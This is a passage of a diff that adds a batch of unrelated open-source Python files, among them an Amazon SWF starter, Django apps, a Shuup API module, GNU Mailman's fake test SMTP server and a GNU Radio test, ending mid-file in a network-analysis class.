@@ -0,0 +1,82 @@
+import os
+# Add parent directory for imports
+parentdir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
+os.sys.path.insert(0, parentdir)
+
+import boto.swf
+import log
+import json
+import random
+from optparse import OptionParser
+
+"""
+Amazon SWF Sum workflow starter
+"""
+
+class starter_Sum():
+
+    def start(self, settings, workflow="Sum"):
+        # Log
+        identity = "starter_%s" % int(random.random() * 1000)
+        logFile = "starter.log"
+        #logFile = None
+        logger = log.logger(logFile, settings.setLevel, identity)
+
+        # Simple connect
+        conn = boto.swf.layer1.Layer1(settings.aws_access_key_id, settings.aws_secret_access_key)
+        if workflow:
+            (workflow_id, workflow_name, workflow_version, child_policy,
+             execution_start_to_close_timeout, input) = self.get_workflow_params(workflow)
+
+            logger.info('Starting workflow: %s' % workflow_id)
+            try:
+                response = conn.start_workflow_execution(settings.domain, workflow_id,
+                                                         workflow_name, workflow_version,
+                                                         settings.default_task_list, child_policy,
+                                                         execution_start_to_close_timeout, input)
+
+                logger.info('got response: \n%s' % json.dumps(response, sort_keys=True, indent=4))
+
+            except boto.swf.exceptions.SWFWorkflowExecutionAlreadyStartedError:
+                # There is already a running workflow with that ID, cannot start another
+                message = ('SWFWorkflowExecutionAlreadyStartedError: There is already ' +
+                           'a running workflow with ID %s' % workflow_id)
+                print message
+                logger.info(message)
+
+    def get_workflow_params(self, workflow):
+
+        workflow_id = None
+        workflow_name = None
+        workflow_version = None
+        child_policy = None
+        execution_start_to_close_timeout = None
+        input = None
+
+        if workflow == "Sum":
+            workflow_id = "sum_%s" % int(random.random() * 10000)
+            workflow_name = "Sum"
+            workflow_version = "1"
+            child_policy = None
+            execution_start_to_close_timeout = None
+            input = '{"data": [1,3,7,11]}'
+
+        return (workflow_id, workflow_name, workflow_version, child_policy,
+                execution_start_to_close_timeout, input)
+
+if __name__ == "__main__":
+
+    # Add options
+    parser = OptionParser()
+    parser.add_option("-e", "--env", default="dev", action="store", type="string",
+                      dest="env", help="set the environment to run, either dev or live")
+    (options, args) = parser.parse_args()
+    if options.env:
+        ENV = options.env
+
+    import settings as settingsLib
+    settings = settingsLib.get_settings(ENV)
+
+    o = starter_Sum()
+
+    o.start(settings=settings)
diff --git a/pool/shard000/Python/0008108_test_write_size_with_cells.py b/pool/shard000/Python/0008108_test_write_size_with_cells.py
new file mode 100644
index 0000000000000000000000000000000000000000..6cb74b86283889df349b61121f4ff494c8c9f659
--- /dev/null
+++ b/pool/shard000/Python/0008108_test_write_size_with_cells.py
@@ -0,0 +1,36 @@
+###############################################################################
+#
+# Tests for XlsxWriter.
+#
+# Copyright (c), 2013, John McNamara, jmcnamara@cpan.org
+#
+
+import unittest
+from ...compatibility import StringIO
+from ...vml import Vml
+
+
+class TestWriteXSizeWithCells(unittest.TestCase):
+    """
+    Test the Vml _write_size_with_cells() method.
+
+    """
+
+    def setUp(self):
+        self.fh = StringIO()
+        self.vml = Vml()
+        self.vml._set_filehandle(self.fh)
+
+    def test_write_size_with_cells(self):
+        """Test the _write_size_with_cells() method"""
+
+        self.vml._write_size_with_cells()
+
+        exp = """<x:SizeWithCells/>"""
+        got = self.fh.getvalue()
+
+        self.assertEqual(got, exp)
+
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/pool/shard000/Python/0008110_base.py b/pool/shard000/Python/0008110_base.py
new file mode 100644
index 0000000000000000000000000000000000000000..256dfdbc7a5297a85ba25a6fa8c108d418bf6194
--- /dev/null
+++ b/pool/shard000/Python/0008110_base.py
@@ -0,0 +1,53 @@
+import csv
+import json
+from django.core.management.base import BaseCommand, CommandError
+from django.core import serializers
+
+class StarParseBaseCommand(BaseCommand):
+    """ Base Command To Parse Star Data Files into fixtures 
+    """
+    def reader(self, input_file):
+        """By default construct a DictReader from the File Object
+        """
+        return csv.DictReader(input_file)
+        
+    def parse_row(self, row):
+        """ Return a Dictionary with the required Fixture Structure
+        """
+        raise
+    
+    def validate_jason(self, json_data):
+        """Validate the JSON data versus the model while it is parsed
+        """
+        try:
+            list(serializers.deserialize("json", json_data))
+        except:
+            raise
+            
+    def handle(self, *args, **options):
+        if len(args) != 2:
+            raise CommandError('Usage: %s' % self.args)
+        try:
+            with open(args[0], 'r') as star_input:
+                with open(args[1], 'w') as fixture_output:
+                    comma = False
+                    fixture_output.write('[\n')
+                    for row in self.reader(star_input):
+                        if comma:
+                            fixture_output.write(',\n')
+                        try:
+                            data = self.parse_row(row)
+                            if type(data) is list:
+                                fixture_output.write(',\n'.join(json.dumps(o) for o in data))
+                            else:
+                                fixture_output.write(
+                                    json.dumps(data)
+                                )
+                            comma = True
+                        except:
+                            raise
+                            raise CommandError('Error Converting Row %s', repr(row))
+                    fixture_output.write('\n]\n')
+        except:
+            raise
+            raise CommandError("File Not Found?")
diff --git a/pool/shard000/Python/0008112_models.py b/pool/shard000/Python/0008112_models.py
new file mode 100644
index 0000000000000000000000000000000000000000..c54da1fd8a580297f547a3b82ffa8e0f719baaed
--- /dev/null
+++ b/pool/shard000/Python/0008112_models.py
@@ -0,0 +1,37 @@
+from django.db import models
+
+
+class AuthorCombination(models.Model):
+    name = models.CharField(default='', max_length=200)
+
+    def __str__(self):
+        return self.name
+
+
+class Publisher(models.Model):
+    shown_name = models.CharField(default='', max_length=50)
+    real_name = models.CharField(default='', max_length=100, blank=True)
+
+    def __str__(self):
+        return self.shown_name
+
+
+class Book(models.Model):
+    title = models.CharField(default='', max_length=50)
+    subtitle = models.CharField(default='', max_length=50, blank=True)
+    description = models.TextField(default='', blank=True)
+    authors = models.ForeignKey(
+        AuthorCombination, related_name='published_books')
+    publisher = models.ForeignKey(
+        Publisher, related_name='published_books')
+    isbn = models.CharField(default='', max_length=13, blank=True)
+    barcode = models.CharField(default='', max_length=20, blank=True)
+    has_own_barcode = models.BooleanField(default=False)
+
+    def create_barcode(self):
+        import lib.log
+
+        self.barcode = log.gen_barcode(self.id)
+
+    def __str__(self):
+        return self.title
diff --git a/pool/shard000/Python/0008114_urls.py b/pool/shard000/Python/0008114_urls.py
new file mode 100644
index 0000000000000000000000000000000000000000..8bc726888712a5740f8f3bfdb25678f14860eb5f
--- /dev/null
+++ b/pool/shard000/Python/0008114_urls.py
@@ -0,0 +1,16 @@
+from django.conf.urls.defaults import *
+
+from shoppy.mailfriend.views import *
+
+urlpatterns = patterns('',
+  url(
+    regex   = '^(?P<object_id>\d+)/$',
+    view    = mail_item_to_friend_form,
+    name    = 'mail_item_to_friend_form',
+  ),
+  url(
+    regex   = '^mix/(?P<object_id>\d+)/$',
+    view    = mail_mixeditem_to_friend_form,
+    name    = 'mail_mixeditem_to_friend_form',
+  ),
+)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py b/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py
new file mode 100644
index 0000000000000000000000000000000000000000..cb3112fe27d93ae166211dfe0e2d42a9718dfa5b
--- /dev/null
+++ b/pool/shard000/Python/0008119_qa_specest_esprit_spectrum_vcf.py
@@ -0,0 +1,83 @@
+#!/usr/bin/env python
+#
+# Copyright 2011 Communications Engineering Lab, KIT
+#
+# This is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 3, or (at your option)
+# any later version.
+#
+# This software is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this software; see the file COPYING.  If not, write to
+# the Free Software Foundation, Inc., 51 Franklin Street,
+# Boston, MA 02110-1301, USA.
+
+#
+
+from gnuradio import gr, gr_unittest
+from gnuradio import blocks, analog
+import specest_swig as specest
+import signal_generator as siggen
+import pylab
+import numpy
+
+class qa_esprit_spectrum_vcf (gr_unittest.TestCase):
+
+    def setUp (self):
+        self.tb = gr.top_block ()
+
+    def tearDown (self):
+        self.tb = None
+
+    def test__001_t (self):
+        n_sinusoids = 5
+        nsamples = 2048
+        samp_rate = 32000
+        SNR = 20 # in dB
+        pspectrum_len = 512
+        decimals = 4
+        self.siggen = siggen.signal_generator(n_sinusoids = n_sinusoids,
+                                              SNR = SNR, samp_rate = samp_rate,
+                                              nsamples = nsamples)
+
+        self.stream = blocks.stream_to_vector(gr.sizeof_gr_complex, nsamples)
+        self.esprit = specest.esprit_spectrum_vcf(n=n_sinusoids, m=100, nsamples = nsamples, pspectrum_len = pspectrum_len)
+        self.sink = blocks.vector_sink_f(vlen=pspectrum_len)
+        # wire it up ...
+        self.tb.connect(self.siggen, self.stream, self.esprit, self.sink)
+        x = pylab.arange(start=-0.5, stop=0.5, step=1.0/float(pspectrum_len))
+        self.tb.run()
+
+        # Uncomment to show the plot
+        #grph = pylab.plot(x, 10*pylab.log10(self.sink.data()))
+        #pylab.xlim(-0.5, 0.5)
+        #pylab.show()
+
+    #def test__002_t (self):
+        #n_sinusoids = 6
+        #nsamples = 256
+        #samp_rate = 1e6
+        #pspectrum_len = 512
+        #fcenter = 1.8e9
+
+        #self.source = blocks.file_source(gr.sizeof_gr_complex, 'foobar2.dat', repeat=False)
+        #self.stream = blocks.stream_to_vector(gr.sizeof_gr_complex, nsamples)
+        #self.esprit = specest.esprit_spectrum_vcf(n=n_sinusoids, m=100, nsamples = nsamples, pspectrum_len = pspectrum_len)
+        #self.sink = blocks.vector_sink_f(vlen=pspectrum_len)
+        ## wire it up ...
+        #self.tb.connect(self.source, self.stream, self.esprit, self.sink)
+        #self.tb.run()
+
+        # Uncomment to show the plot
+        #x = pylab.arange(start=-0.5, stop=0.5, step=1.0/float(pspectrum_len))
+        #x_scaled = x * float(samp_rate)
+        #grph = pylab.plot(x_scaled, 10*pylab.log10(self.sink.data()))
+        #pylab.show()
+
+if __name__ == '__main__':
+    gr_unittest.main ()
diff --git a/pool/shard000/Python/0008123_product_variation.py b/pool/shard000/Python/0008123_product_variation.py
new file mode 100644
index 0000000000000000000000000000000000000000..8e227eadc11b1606455b403f3b43c4d39f8564b9
--- /dev/null
+++ b/pool/shard000/Python/0008123_product_variation.py
@@ -0,0 +1,182 @@
+# -*- coding: utf-8 -*-
+# This file is part of Shuup.
+#
+# Copyright (c) 2012-2017, Shoop Commerce Ltd. All rights reserved.
+#
+# This source code is licensed under the OSL-3.0 license found in the
+# LICENSE file in the root directory of this source tree.
+
+import django_filters
+import six
+from django.utils.encoding import force_text
+from django.utils.translation import ugettext_lazy as _
+from django_filters.rest_framework import DjangoFilterBackend, FilterSet
+from parler_rest.fields import TranslatedFieldsField
+from parler_rest.serializers import TranslatableModelSerializer
+from rest_framework import filters, serializers, viewsets
+
+from shuup.api.fields import EnumField
+from shuup.api.mixins import PermissionHelperMixin
+from shuup.core.models import (
+    Product, ProductMode, ProductVariationLinkStatus, ProductVariationVariable,
+    ProductVariationVariableValue
+)
+from shuup.core.models._product_variation import get_all_available_combinations
+
+
+class ProductSimpleVariationSerializer(serializers.Serializer):
+    products = serializers.PrimaryKeyRelatedField(queryset=Product.objects.all(), many=True)
+
+
+class ProductLinkVariationVariableSerializer(serializers.Serializer):
+    product = serializers.PrimaryKeyRelatedField(queryset=Product.objects.all(), required=False)
+    hash = serializers.CharField(max_length=40, min_length=40, required=True)
+    status = EnumField(enum=ProductVariationLinkStatus, required=False)
+
+    def validate(self, data):
+        if self.context["request"].method in ("PUT", "POST") and not data.get("product"):
+            raise serializers.ValidationError("`product` is required for this method.")
+        return data
+
+
+class ProductVariationVariableResultSerializer(serializers.ModelSerializer):
+
+    class Meta:
+        model = Product
+        fields = "__all__"
+
+    def to_representation(self, product):
+        combination_result = []
+
+        if product.mode == ProductMode.VARIABLE_VARIATION_PARENT:
+            for combination in get_all_available_combinations(product):
+                combination_result.append({
+                    "product": combination["result_product_pk"],
+                    "sku_part": combination["sku_part"],
+                    "hash": combination["hash"],
+                    "combination": {
+                        force_text(k): force_text(v) for k, v in six.iteritems(combination["variable_to_value"])
+                    }
+                })
+
+        return {"combinations": combination_result}
+
+
+class ProductVariationVariableValueSerializer(TranslatableModelSerializer):
+    translations = TranslatedFieldsField(shared_model=ProductVariationVariableValue, required=True)
+
+    class Meta:
+        exclude = ("identifier",)
+        model = ProductVariationVariableValue
+
+
+class ProductVariationVariableSerializer(TranslatableModelSerializer):
+    translations = TranslatedFieldsField(shared_model=ProductVariationVariable, required=True)
+    values = ProductVariationVariableValueSerializer(many=True, read_only=True)
+
+    class Meta:
+        model = ProductVariationVariable
+        exclude = ("identifier",)
+
+    def create(self, validated_data):
+        variable = super(ProductVariationVariableSerializer, self).create(validated_data)
+        variable.product.verify_mode()
+        variable.product.save()
+        return variable
+
+    def update(self, instance, validated_data):
+        instance = super(ProductVariationVariableSerializer, self).update(instance, validated_data)
+        instance.product.verify_mode()
+        instance.product.save()
+        return instance
+
+
+class ProductVariationVariableFilter(FilterSet):
+    product = django_filters.ModelChoiceFilter(name="product",
+                                               queryset=Product.objects.all(),
+                                               lookup_expr="exact")
+
+    class Meta:
+        model = ProductVariationVariable
+        fields = ["product"]
+
+
+class ProductVariationVariableValueFilter(FilterSet):
+    product = django_filters.ModelChoiceFilter(name="variable__product",
+                                               queryset=Product.objects.all(),
+                                               lookup_expr="exact")
+    variable = django_filters.ModelChoiceFilter(name="variable",
+                                                queryset=ProductVariationVariable.objects.all(),
+                                                lookup_expr="exact")
+
+    class Meta:
+        model = ProductVariationVariableValue
+        fields = ["product", "variable"]
+
+
+class ProductVariationVariableViewSet(PermissionHelperMixin, viewsets.ModelViewSet):
+    """
+    retrieve: Fetches a product variation variable by its ID.
+
+    list: Lists all available product variation variables.
+
+    delete: Deletes a product variation variable.
+    If the object is related to another one and the relationship is protected, an error will be returned.
+
+    create: Creates a new product variation variable.
+
+    update: Fully updates an existing product variation variable.
+    You must specify all parameters to make it possible to overwrite all attributes.
+
+    partial_update: Updates an existing product variation variable.
+    You can update only a set of attributes.
+    """
+
+    queryset = ProductVariationVariable.objects.all()
+    serializer_class = ProductVariationVariableSerializer
+    filter_backends = (filters.OrderingFilter, DjangoFilterBackend)
+    filter_class = ProductVariationVariableFilter
+
+    def perform_destroy(self, instance):
+        product = instance.product
+        super(ProductVariationVariableViewSet, self).perform_destroy(instance)
+        product.verify_mode()
+        product.save()
+
+    def get_view_name(self):
+        return _("Product Variation Variable")
+
+    @classmethod
+    def get_help_text(cls):
+        return _("Product variation variables can be listed, fetched, created, updated and deleted.")
+
+
+class ProductVariationVariableValueViewSet(PermissionHelperMixin, viewsets.ModelViewSet):
+    """
+    retrieve: Fetches a product variation variable value by its ID.
+
+    list: Lists all available product variation variable values.
+
+    delete: Deletes a product variation variable value.
+    If the object is related to another one and the relationship is protected, an error will be returned.
+
+    create: Creates a new product variation variable value.
+
+    update: Fully updates an existing product variation variable value.
+    You must specify all parameters to make it possible to overwrite all attributes.
+
+    partial_update: Updates an existing product variation variable value.
+    You can update only a set of attributes.
+    """
+
+    queryset = ProductVariationVariableValue.objects.all()
+    serializer_class = ProductVariationVariableValueSerializer
+    filter_backends = (filters.OrderingFilter, DjangoFilterBackend)
+    filter_class = ProductVariationVariableValueFilter
+
+    def get_view_name(self):
+        return _("Product Variation Variable Value")
+
+    @classmethod
+    def get_help_text(cls):
+        return _("Product variation variable values can be listed, fetched, created, updated and deleted.")
diff --git a/pool/shard000/Python/0008128_init__.py b/pool/shard000/Python/0008128_init__.py
new file mode 100644
index 0000000000000000000000000000000000000000..ae46fc60f6934096a3608c79b355f845efa33ab5
--- /dev/null
+++ b/pool/shard000/Python/0008128_init__.py
@@ -0,0 +1,68 @@
+# -*- coding: utf-8 -
+#
+# Copyright (c) 2008, 2009 Benoit Chesneau <benoitc@e-engura.com> 
+#
+# Permission to use, copy, modify, and distribute this software for any
+# purpose with or without fee is hereby granted, provided that the above
+# copyright notice and this permission notice appear in all copies.
+#
+# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+#
+
+from restclient.transport.base import HTTPResponse, HTTPTransportBase, USER_AGENT
+from restclient.transport._httplib2 import HTTPLib2Transport, httplib2
+from restclient.transport._curl import CurlTransport, pycurl
+
+__all__ = [
+    'HTTPResponse', 
+    'HTTPTransportBase', 
+    'USER_AGENT',
+    'HTTPLib2Transport',
+    'CurlTransport',
+    'createHTTPTransport',
+    'setDefaultHTTPTransport',
+    'useCurl']
+
+_default_http = None
+
+
+def createHTTPTransport():
+    """Create default HTTP client instance
+    prefers Curl to urllib"""
+    if pycurl is not None:
+        http = CurlTransport()
+    elif httplib2 is not None:
+        http = HTTPLib2Transport()
+    else:
+        raise RuntimeError("httplib2 or curl are missing")
+    return http
+
+def getDefaultHTTPTransport():
+    """ Return the default http transport instance instance
+    if no client has been set, it will create a default client.
+
+    :return: the default client
+    """
+    global _default_http
+    if _default_http is None:
+        setDefaultHTTPTransport(createHTTPTransport())
+    return _default_http
+
+def setDefaultHTTPTransport(httptransport):
+    """ set default http transport 
+    :param http: RestClient
+    """
+    global _default_http
+    _default_http = httptransport
+
+def useCurl():
+    global _default_http
+    if _default_http is None:
+        setDefaultHTTPTransport(createHTTPTransport())
+    return isinstance(_default_http, CurlTransport)
diff --git a/pool/shard000/Python/0008130_billing_setup_status.py b/pool/shard000/Python/0008130_billing_setup_status.py
new file mode 100644
index 0000000000000000000000000000000000000000..a256738317ee8a58260ad91c1755845ade49852d
--- /dev/null
+++ b/pool/shard000/Python/0008130_billing_setup_status.py
@@ -0,0 +1,40 @@
+# -*- coding: utf-8 -*-
+# Copyright 2020 Google LLC
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#     http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+import proto  # type: ignore
+
+
+__protobuf__ = proto.module(
+    package="google.ads.googleads.v10.enums",
+    marshal="google.ads.googleads.v10",
+    manifest={"BillingSetupStatusEnum",},
+)
+
+
+class BillingSetupStatusEnum(proto.Message):
+    r"""Message describing BillingSetup statuses.
+    """
+
+    class BillingSetupStatus(proto.Enum):
+        r"""The possible statuses of a BillingSetup."""
+        UNSPECIFIED = 0
+        UNKNOWN = 1
+        PENDING = 2
+        APPROVED_HELD = 3
+        APPROVED = 4
+        CANCELLED = 5
+
+
+__all__ = tuple(sorted(__protobuf__.manifest))
diff --git a/pool/shard000/Python/0008134_views2.py b/pool/shard000/Python/0008134_views2.py
new file mode 100644
index 0000000000000000000000000000000000000000..8b87b77569e567c8ebe7f14103e6f939f8114ff7
--- /dev/null
+++ b/pool/shard000/Python/0008134_views2.py
@@ -0,0 +1,60 @@
+from rest_framework.generics import (GenericAPIView)
+
+from rest_framework import  status
+import signal
+import asyncio
+from moto.moe.utils.crawer import get_crawer
+from rest_framework.response import Response
+import json
+from six.moves.urllib.parse import urlparse,urljoin,urlencode
+from moto.moe import models
+from moto.moe.api.serializers import PostSerializer
+
+
+
+class Catch_url(GenericAPIView):
+    def post(self, request, *args, **kwargs):
+        loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(loop)
+        url = request.POST.get('url')
+        c = get_crawer(url)(url,loop)
+        if c.need_login:
+            c.login()
+        asyncio.Task(c.run())
+
+        try:
+            loop.add_signal_handler(signal.SIGINT, loop.stop)
+        except RuntimeError:
+            pass
+        loop.run_forever()
+        print('todo:', len(c.todo))
+        print('busy:', len(c.busy))
+        print('done:', len(c.done), '; ok:', sum(c.done.values()))
+        print('tasks:', len(c.tasks))
+        return Response({'urls':c.get_results()},status=status.HTTP_200_OK)
+
+class Download(GenericAPIView):
+    model = models.Post
+    queryset = models.Post.objects.all()
+    serializer_class = PostSerializer
+    def post(self, request, *args, **kwargs):
+        loop = asyncio.new_event_loop()
+        asyncio.set_event_loop(loop)
+        url = request.POST.get('url')
+        images = json.loads(request.POST.get('images'))
+        c = get_crawer(url)(url,loop)
+        if c.need_login:
+            c.login()
+        asyncio.Task(c.download(request.user,images))
+
+        loop.run_forever()
+        print('todo:', len(c.todo))
+        print('busy:', len(c.busy))
+        print('done:', len(c.done), '; ok:', sum(c.done.values()))
+        print('tasks:', len(c.tasks))
+        # data={'author':UserSerializer(request.user).data, 'image':image_post.generated_filename}
+        datas = c.get_results()
+        serializer = self.get_serializer(data=datas,many=True)
+        serializer.is_valid(raise_exception=True)
+        serializer.save()
+        return Response(serializer.data,status=status.HTTP_200_OK)
\ No newline at end of file
diff --git a/pool/shard000/Python/0008135_mta.py b/pool/shard000/Python/0008135_mta.py
new file mode 100644
index 0000000000000000000000000000000000000000..7481e0093005bfae096a188913be863e3ddea0b4
--- /dev/null
+++ b/pool/shard000/Python/0008135_mta.py
@@ -0,0 +1,230 @@
+# Copyright (C) 2009-2014 by the Free Software Foundation, Inc.
+#
+# This file is part of GNU Mailman.
+#
+# GNU Mailman is free software: you can redistribute it and/or modify it under
+# the terms of the GNU General Public License as published by the Free
+# Software Foundation, either version 3 of the License, or (at your option)
+# any later version.
+#
+# GNU Mailman is distributed in the hope that it will be useful, but WITHOUT
+# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
+# FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License for
+# more details.
+#
+# You should have received a copy of the GNU General Public License along with
+# GNU Mailman.  If not, see <http://www.gnu.org/licenses/>.
+
+"""Fake MTA for testing purposes."""
+
+from __future__ import absolute_import, print_function, unicode_literals
+
+__metaclass__ = type
+__all__ = [
+    'FakeMTA',
+    ]
+
+
+import logging
+
+from Queue import Empty, Queue
+
+from lazr.smtptest.controller import QueueController
+from lazr.smtptest.server import Channel, QueueServer
+from zope.interface import implementer
+
+from mailman.interfaces.mta import IMailTransportAgentLifecycle
+
+
+log = logging.getLogger('lazr.smtptest')
+
+
+
+@implementer(IMailTransportAgentLifecycle)
+class FakeMTA:
+    """Fake MTA for testing purposes."""
+
+    def create(self, mlist):
+        pass
+
+    def delete(self, mlist):
+        pass
+
+    def regenerate(self, output=None):
+        pass
+
+
+
+class StatisticsChannel(Channel):
+    """A channel that can answers to the fake STAT command."""
+
+    def smtp_EHLO(self, arg):
+        if not arg:
+            self.push(b'501 Syntax: HELO hostname')
+            return
+        if self._SMTPChannel__greeting:
+            self.push(b'503 Duplicate HELO/EHLO')
+        else:
+            self._SMTPChannel__greeting = arg
+            self.push(b'250-%s' % self._SMTPChannel__fqdn)
+            self.push(b'250 AUTH PLAIN')
+
+    def smtp_STAT(self, arg):
+        """Cause the server to send statistics to its controller."""
+        self._server.send_statistics()
+        self.push(b'250 Ok')
+
+    def smtp_AUTH(self, arg):
+        """Record that the AUTH occurred."""
+        if arg == 'PLAIN AHRlc3R1c2VyAHRlc3RwYXNz':
+            # testuser:testpass
+            self.push(b'235 Ok')
+            self._server.send_auth(arg)
+        else:
+            self.push(b'571 Bad authentication')
+
+    def smtp_RCPT(self, arg):
+        """For testing, sometimes cause a non-25x response."""
+        code = self._server.next_error('rcpt')
+        if code is None:
+            # Everything's cool.
+            Channel.smtp_RCPT(self, arg)
+        else:
+            # The test suite wants this to fail.  The message corresponds to
+            # the exception we expect smtplib.SMTP to raise.
+            self.push(b'%d Error: SMTPRecipientsRefused' % code)
+
+    def smtp_MAIL(self, arg):
+        """For testing, sometimes cause a non-25x response."""
+        code = self._server.next_error('mail')
+        if code is None:
+            # Everything's cool.
+            Channel.smtp_MAIL(self, arg)
+        else:
+            # The test suite wants this to fail.  The message corresponds to
+            # the exception we expect smtplib.SMTP to raise.
+            self.push(b'%d Error: SMTPResponseException' % code)
+
+
+
+class ConnectionCountingServer(QueueServer):
+    """Count the number of SMTP connections opened."""
+
+    def __init__(self, host, port, queue, oob_queue, err_queue):
+        """See `lazr.smtptest.server.QueueServer`.
+
+        :param oob_queue: A queue for communicating information back to the
+            controller, e.g. statistics.
+        :type oob_queue: `Queue.Queue`
+        :param err_queue: A queue for allowing the controller to request SMTP
+            errors from the server.
+        :type err_queue: `Queue.Queue`
+        """
+        QueueServer.__init__(self, host, port, queue)
+        self._connection_count = 0
+        self.last_auth = None
+        # The out-of-band queue is where the server sends statistics to the
+        # controller upon request.
+        self._oob_queue = oob_queue
+        self._err_queue = err_queue
+        self._last_error = None
+
+    def next_error(self, command):
+        """Return the next error for the SMTP command, if there is one.
+
+        :param command: The SMTP command for which an error might be
+            expected.  If the next error matches the given command, the
+            expected error code is returned.
+        :type command: string, lower-cased
+        :return: An SMTP error code
+        :rtype: integer
+        """
+        # If the last error we pulled from the queue didn't match, then we're
+        # caching it, and it might match this expected error.  If there is no
+        # last error in the cache, get one from the queue now.
+        if self._last_error is None:
+            try:
+                self._last_error = self._err_queue.get_nowait()
+            except Empty:
+                # No error is expected
+                return None
+        if self._last_error[0] == command:
+            code = self._last_error[1]
+            self._last_error = None
+            return code
+        return None
+
+    def handle_accept(self):
+        """See `lazr.smtp.server.Server`."""
+        connection, address = self.accept()
+        self._connection_count += 1
+        log.info('[ConnectionCountingServer] accepted: %s', address)
+        StatisticsChannel(self, connection, address)
+
+    def reset(self):
+        """See `lazr.smtp.server.Server`."""
+        QueueServer.reset(self)
+        self._connection_count = 0
+
+    def send_statistics(self):
+        """Send the current connection statistics to the controller."""
+        # Do not count the connection caused by the STAT connect.
+        self._connection_count -= 1
+        self._oob_queue.put(self._connection_count)
+
+    def send_auth(self, arg):
+        """Echo back the authentication data."""
+        self._oob_queue.put(arg)
+
+
+
+class ConnectionCountingController(QueueController):
+    """Count the number of SMTP connections opened."""
+
+    def __init__(self, host, port):
+        """See `lazr.smtptest.controller.QueueController`."""
+        self.oob_queue = Queue()
+        self.err_queue = Queue()
+        QueueController.__init__(self, host, port)
+
+    def _make_server(self, host, port):
+        """See `lazr.smtptest.controller.QueueController`."""
+        self.server = ConnectionCountingServer(
+            host, port, self.queue, self.oob_queue, self.err_queue)
+
+    def start(self):
+        """See `lazr.smtptest.controller.QueueController`."""
+        QueueController.start(self)
+        # Reset the connection statistics, since the base class's start()
+        # method causes a connection to occur.
+        self.reset()
+
+    def get_connection_count(self):
+        """Retrieve the number of connections.
+
+        :return: The number of connections to the server that have been made.
+        :rtype: integer
+        """
+        smtpd = self._connect()
+        smtpd.docmd(b'STAT')
+        # An Empty exception will occur if the data isn't available in 10
+        # seconds.  Let that propagate.
+        return self.oob_queue.get(block=True, timeout=10)
+
+    def get_authentication_credentials(self):
+        """Retrieve the last authentication credentials."""
+        return self.oob_queue.get(block=True, timeout=10)
+
+    @property
+    def messages(self):
+        """Return all the messages received by the SMTP server."""
+        for message in self:
+            yield message
+
+    def clear(self):
+        """Clear all the messages from the queue."""
+        list(self)
+
+    def reset(self):
+        smtpd = self._connect()
+        smtpd.docmd(b'RSET')
diff --git a/pool/shard000/Python/0008137_expression.py b/pool/shard000/Python/0008137_expression.py
new file mode 100644
index 0000000000000000000000000000000000000000..738e451bd6e32c00b19dda0c20fe95dba1ea3f26
--- /dev/null
+++ b/pool/shard000/Python/0008137_expression.py
@@ -0,0 +1,52 @@
+from builtins import object
+import logging
+from pyparsing import ParseResults
+from brabbel.parser import Parser
+from brabbel.functions import functions
+
+logging.basicConfig()
+log = logging.getLogger(__name__)
+
+from threading import Lock
+
+class Expression(object):
+
+    lock = Lock()
+    cache = {}
+
+    """Docstring for Expression. """
+    def __init__(self, expression):
+        """Initialise a Expression object
+
+        :expression: String representation of an Expression
+
+        """
+        with Expression.lock:
+            try:
+                tree = Expression.cache[expression]
+            except KeyError:
+                tree = Parser().parse(expression)[0]
+                Expression.cache[expression] = tree
+
+        self._expression = expression
+        self._expression_tree = tree
+
+    def evaluate(self, values=None):
+        """Returns the result auf the evaluation of the expression.
+
+        :values: Dictionary with key value pairs containing values which
+        can be used while evaluation
+        :returns: Result of the evaluation
+
+        """
+        if values is None:
+            values = {}
+        return self._evaluate(self._expression_tree, values)
+
+    def _evaluate(self, tree, values):
+        try:
+            return tree.evaluate(values)
+        except:
+            log.exception("Can not evaluate expression '%s'"
+                          % self._expression)
+            raise
diff --git a/pool/shard000/Python/0008144_NETANALYSIS.py b/pool/shard000/Python/0008144_NETANALYSIS.py
new file mode 100644
index 0000000000000000000000000000000000000000..d763d490801b644f14607b7265915a490a3196b0
--- /dev/null
+++ b/pool/shard000/Python/0008144_NETANALYSIS.py
@@ -0,0 +1,135 @@
+import numpy as np
+from scipy.stats import pearsonr
+import pickle as pkl
+import distance_functions_2 as df ### him(G,H) with output (hamming, ipsen, him)!
+
+class NETANALYSIS:
+	def __init__(self, dataname, labelsname, samplesname, featuresname, setCol, outputpath):	### X.txt, Y.txt, sampleIDs.txt, names.txt, np.array([]), outlstadjmtr.pkl
+		self.dataname = dataname
+		self.labelsname = labelsname
+		self.samplesname = samplesname
+		self.featuresname = featuresname
+		self.setCol = setCol
+		self.outputpath = outputpath
+
+########
+
+	def run(self):
+		self.loadfiles()
+		self.findsubmatrixes()
+		self.mkadjmatrixes()
+		self.mkoutput()
+
+########
+
